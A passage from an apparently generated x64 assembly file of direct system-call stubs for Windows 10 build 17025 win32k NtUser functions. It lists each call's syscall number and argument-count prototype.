_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputDeviceList PROC STDCALL
mov r10 , rcx
mov eax , 5081
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputDeviceList ENDP
; ULONG64 __stdcall NtUserGetRawPointerDeviceData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawPointerDeviceData PROC STDCALL
mov r10 , rcx
mov eax , 5082
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawPointerDeviceData ENDP
; ULONG64 __stdcall NtUserGetRegisteredRawInputDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRegisteredRawInputDevices PROC STDCALL
mov r10 , rcx
mov eax , 5083
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRegisteredRawInputDevices ENDP
; ULONG64 __stdcall NtUserGetResizeDCompositionSynchronizationObject( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetResizeDCompositionSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 5084
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetResizeDCompositionSynchronizationObject ENDP
; ULONG64 __stdcall NtUserGetTopLevelWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTopLevelWindow PROC STDCALL
mov r10 , rcx
mov eax , 5085
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTopLevelWindow ENDP
; ULONG64 __stdcall NtUserGetTouchInputInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTouchInputInfo PROC STDCALL
mov r10 , rcx
mov eax , 5086
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTouchInputInfo ENDP
; ULONG64 __stdcall NtUserGetTouchValidationStatus( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTouchValidationStatus PROC STDCALL
mov r10 , rcx
mov eax , 5087
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTouchValidationStatus ENDP
; ULONG64 __stdcall NtUserGetUpdatedClipboardFormats( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdatedClipboardFormats PROC STDCALL
mov r10 , rcx
mov eax , 5088
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdatedClipboardFormats ENDP
; ULONG64 __stdcall NtUserGetWOWClass( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWOWClass PROC STDCALL
mov r10 , rcx
mov eax , 5089
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWOWClass ENDP
; ULONG64 __stdcall NtUserGetWindowBand( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowBand PROC STDCALL
mov r10 , rcx
mov eax , 5090
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowBand ENDP
; ULONG64 __stdcall NtUserGetWindowCompositionAttribute( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowCompositionAttribute PROC STDCALL
mov r10 , rcx
mov eax , 5091
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowCompositionAttribute ENDP
; ULONG64 __stdcall NtUserGetWindowCompositionInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowCompositionInfo PROC STDCALL
mov r10 , rcx
mov eax , 5092
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowCompositionInfo ENDP
; ULONG64 __stdcall NtUserGetWindowDisplayAffinity( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowDisplayAffinity PROC STDCALL
mov r10 , rcx
mov eax , 5093
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowDisplayAffinity ENDP
; ULONG64 __stdcall NtUserGetWindowFeedbackSetting( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowFeedbackSetting PROC STDCALL
mov r10 , rcx
mov eax , 5094
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowFeedbackSetting ENDP
; ULONG64 __stdcall NtUserGetWindowMinimizeRect( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowMinimizeRect PROC STDCALL
mov r10 , rcx
mov eax , 5095
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowMinimizeRect ENDP
; ULONG64 __stdcall NtUserGetWindowRgnEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowRgnEx PROC STDCALL
mov r10 , rcx
mov eax , 5096
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowRgnEx ENDP
; ULONG64 __stdcall NtUserGhostWindowFromHungWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGhostWindowFromHungWindow PROC STDCALL
mov r10 , rcx
mov eax , 5097
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGhostWindowFromHungWindow ENDP
; ULONG64 __stdcall NtUserHandleDelegatedInput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHandleDelegatedInput PROC STDCALL
mov r10 , rcx
mov eax , 5098
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHandleDelegatedInput ENDP
; ULONG64 __stdcall NtUserHardErrorControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHardErrorControl PROC STDCALL
mov r10 , rcx
mov eax , 5099
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHardErrorControl ENDP
; ULONG64 __stdcall NtUserHidePointerContactVisualization( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHidePointerContactVisualization PROC STDCALL
mov r10 , rcx
mov eax , 5100
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHidePointerContactVisualization ENDP
; ULONG64 __stdcall NtUserHiliteMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHiliteMenuItem PROC STDCALL
mov r10 , rcx
mov eax , 5101
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHiliteMenuItem ENDP
; ULONG64 __stdcall NtUserHungWindowFromGhostWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHungWindowFromGhostWindow PROC STDCALL
mov r10 , rcx
mov eax , 5102
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHungWindowFromGhostWindow ENDP
; ULONG64 __stdcall NtUserHwndQueryRedirectionInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHwndQueryRedirectionInfo PROC STDCALL
mov r10 , rcx
mov eax , 5103
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHwndQueryRedirectionInfo ENDP
; ULONG64 __stdcall NtUserHwndSetRedirectionInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHwndSetRedirectionInfo PROC STDCALL
mov r10 , rcx
mov eax , 5104
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHwndSetRedirectionInfo ENDP
; ULONG64 __stdcall NtUserImpersonateDdeClientWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserImpersonateDdeClientWindow PROC STDCALL
mov r10 , rcx
mov eax , 5105
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserImpersonateDdeClientWindow ENDP
; ULONG64 __stdcall NtUserInheritWindowMonitor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInheritWindowMonitor PROC STDCALL
mov r10 , rcx
mov eax , 5106
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInheritWindowMonitor ENDP
; ULONG64 __stdcall NtUserInitTask( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitTask PROC STDCALL
mov r10 , rcx
mov eax , 5107
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitTask ENDP
; ULONG64 __stdcall NtUserInitialize( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitialize PROC STDCALL
mov r10 , rcx
mov eax , 5108
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitialize ENDP
; ULONG64 __stdcall NtUserInitializeClientPfnArrays( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeClientPfnArrays PROC STDCALL
mov r10 , rcx
mov eax , 5109
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeClientPfnArrays ENDP
; ULONG64 __stdcall NtUserInitializeGenericHidInjection( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeGenericHidInjection PROC STDCALL
mov r10 , rcx
mov eax , 5110
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeGenericHidInjection ENDP
; ULONG64 __stdcall NtUserInitializeInputDeviceInjection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeInputDeviceInjection PROC STDCALL
mov r10 , rcx
mov eax , 5111
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeInputDeviceInjection ENDP
; ULONG64 __stdcall NtUserInitializePointerDeviceInjection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializePointerDeviceInjection PROC STDCALL
mov r10 , rcx
mov eax , 5112
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializePointerDeviceInjection ENDP
; ULONG64 __stdcall NtUserInitializePointerDeviceInjectionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializePointerDeviceInjectionEx PROC STDCALL
mov r10 , rcx
mov eax , 5113
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializePointerDeviceInjectionEx ENDP
; ULONG64 __stdcall NtUserInitializeTouchInjection( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeTouchInjection PROC STDCALL
mov r10 , rcx
mov eax , 5114
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInitializeTouchInjection ENDP
; ULONG64 __stdcall NtUserInjectDeviceInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectDeviceInput PROC STDCALL
mov r10 , rcx
mov eax , 5115
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectDeviceInput ENDP
; ULONG64 __stdcall NtUserInjectGenericHidInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectGenericHidInput PROC STDCALL
mov r10 , rcx
mov eax , 5116
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectGenericHidInput ENDP
; ULONG64 __stdcall NtUserInjectGesture( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectGesture PROC STDCALL
mov r10 , rcx
mov eax , 5117
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectGesture ENDP
; ULONG64 __stdcall NtUserInjectKeyboardInput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectKeyboardInput PROC STDCALL
mov r10 , rcx
mov eax , 5118
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectKeyboardInput ENDP
; ULONG64 __stdcall NtUserInjectMouseInput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectMouseInput PROC STDCALL
mov r10 , rcx
mov eax , 5119
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectMouseInput ENDP
; ULONG64 __stdcall NtUserInjectPointerInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectPointerInput PROC STDCALL
mov r10 , rcx
mov eax , 5120
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectPointerInput ENDP
; ULONG64 __stdcall NtUserInjectTouchInput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectTouchInput PROC STDCALL
mov r10 , rcx
mov eax , 5121
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInjectTouchInput ENDP
; ULONG64 __stdcall NtUserInteractiveControlQueryUsage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInteractiveControlQueryUsage PROC STDCALL
mov r10 , rcx
mov eax , 5122
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInteractiveControlQueryUsage ENDP
; ULONG64 __stdcall NtUserInternalGetWindowIcon( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInternalGetWindowIcon PROC STDCALL
mov r10 , rcx
mov eax , 5123
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInternalGetWindowIcon ENDP
; ULONG64 __stdcall NtUserIsChildWindowDpiMessageEnabled( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsChildWindowDpiMessageEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5124
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsChildWindowDpiMessageEnabled ENDP
; ULONG64 __stdcall NtUserIsMouseInPointerEnabled( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsMouseInPointerEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5125
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsMouseInPointerEnabled ENDP
; ULONG64 __stdcall NtUserIsMouseInputEnabled( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsMouseInputEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5126
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsMouseInputEnabled ENDP
; ULONG64 __stdcall NtUserIsNonClientDpiScalingEnabled( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsNonClientDpiScalingEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5127
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsNonClientDpiScalingEnabled ENDP
; ULONG64 __stdcall NtUserIsResizeLayoutSynchronizationEnabled( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsResizeLayoutSynchronizationEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5128
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsResizeLayoutSynchronizationEnabled ENDP
; ULONG64 __stdcall NtUserIsTopLevelWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsTopLevelWindow PROC STDCALL
mov r10 , rcx
mov eax , 5129
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsTopLevelWindow ENDP
; ULONG64 __stdcall NtUserIsTouchWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsTouchWindow PROC STDCALL
mov r10 , rcx
mov eax , 5130
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsTouchWindow ENDP
; ULONG64 __stdcall NtUserIsWindowBroadcastingDpiToChildren( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsWindowBroadcastingDpiToChildren PROC STDCALL
mov r10 , rcx
mov eax , 5131
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsWindowBroadcastingDpiToChildren ENDP
; ULONG64 __stdcall NtUserIsWindowGDIScaledDpiMessageEnabled( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsWindowGDIScaledDpiMessageEnabled PROC STDCALL
mov r10 , rcx
mov eax , 5132
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsWindowGDIScaledDpiMessageEnabled ENDP
; ULONG64 __stdcall NtUserLayoutCompleted( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLayoutCompleted PROC STDCALL
mov r10 , rcx
mov eax , 5133
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLayoutCompleted ENDP
; ULONG64 __stdcall NtUserLinkDpiCursor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLinkDpiCursor PROC STDCALL
mov r10 , rcx
mov eax , 5134
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLinkDpiCursor ENDP
; ULONG64 __stdcall NtUserLoadKeyboardLayoutEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLoadKeyboardLayoutEx PROC STDCALL
mov r10 , rcx
mov eax , 5135
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLoadKeyboardLayoutEx ENDP
; ULONG64 __stdcall NtUserLockCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockCursor PROC STDCALL
mov r10 , rcx
mov eax , 5136
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockCursor ENDP
; ULONG64 __stdcall NtUserLockWindowStation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 5137
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWindowStation ENDP
; ULONG64 __stdcall NtUserLockWorkStation( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWorkStation PROC STDCALL
mov r10 , rcx
mov eax , 5138
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWorkStation ENDP
; ULONG64 __stdcall NtUserLogicalToPerMonitorDPIPhysicalPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLogicalToPerMonitorDPIPhysicalPoint PROC STDCALL
mov r10 , rcx
mov eax , 5139
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLogicalToPerMonitorDPIPhysicalPoint ENDP
; ULONG64 __stdcall NtUserLogicalToPhysicalPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLogicalToPhysicalPoint PROC STDCALL
mov r10 , rcx
mov eax , 5140
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLogicalToPhysicalPoint ENDP
; ULONG64 __stdcall NtUserMNDragLeave( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMNDragLeave PROC STDCALL
mov r10 , rcx
mov eax , 5141
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMNDragLeave ENDP
; ULONG64 __stdcall NtUserMNDragOver( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMNDragOver PROC STDCALL
mov r10 , rcx
mov eax , 5142
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMNDragOver ENDP
; ULONG64 __stdcall NtUserMagControl( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagControl PROC STDCALL
mov r10 , rcx
mov eax , 5143
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagControl ENDP
; ULONG64 __stdcall NtUserMagGetContextInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagGetContextInformation PROC STDCALL
mov r10 , rcx
mov eax , 5144
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagGetContextInformation ENDP
; ULONG64 __stdcall NtUserMagSetContextInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagSetContextInformation PROC STDCALL
mov r10 , rcx
mov eax , 5145
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMagSetContextInformation ENDP
; ULONG64 __stdcall NtUserMenuItemFromPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMenuItemFromPoint PROC STDCALL
mov r10 , rcx
mov eax , 5146
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMenuItemFromPoint ENDP
; ULONG64 __stdcall NtUserMinMaximize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMinMaximize PROC STDCALL
mov r10 , rcx
mov eax , 5147
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMinMaximize ENDP
; ULONG64 __stdcall NtUserModifyWindowTouchCapability( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserModifyWindowTouchCapability PROC STDCALL
mov r10 , rcx
mov eax , 5148
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserModifyWindowTouchCapability ENDP
; ULONG64 __stdcall NtUserMsgWaitForMultipleObjectsEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMsgWaitForMultipleObjectsEx PROC STDCALL
mov r10 , rcx
mov eax , 5149
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMsgWaitForMultipleObjectsEx ENDP
; ULONG64 __stdcall NtUserNavigateFocus( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNavigateFocus PROC STDCALL
mov r10 , rcx
mov eax , 5150
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNavigateFocus ENDP
; ULONG64 __stdcall NtUserNotifyIMEStatus( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyIMEStatus PROC STDCALL
mov r10 , rcx
mov eax , 5151
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyIMEStatus ENDP
; ULONG64 __stdcall NtUserOpenInputDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenInputDesktop PROC STDCALL
mov r10 , rcx
mov eax , 5152
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenInputDesktop ENDP
; ULONG64 __stdcall NtUserOpenThreadDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenThreadDesktop PROC STDCALL
mov r10 , rcx
mov eax , 5153
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenThreadDesktop ENDP
; ULONG64 __stdcall NtUserPaintMonitor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintMonitor PROC STDCALL
mov r10 , rcx
mov eax , 5154
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintMonitor ENDP
; ULONG64 __stdcall NtUserPerMonitorDPIPhysicalToLogicalPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPerMonitorDPIPhysicalToLogicalPoint PROC STDCALL
mov r10 , rcx
mov eax , 5155
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPerMonitorDPIPhysicalToLogicalPoint ENDP
; ULONG64 __stdcall NtUserPhysicalToLogicalPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPhysicalToLogicalPoint PROC STDCALL
mov r10 , rcx
mov eax , 5156
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPhysicalToLogicalPoint ENDP
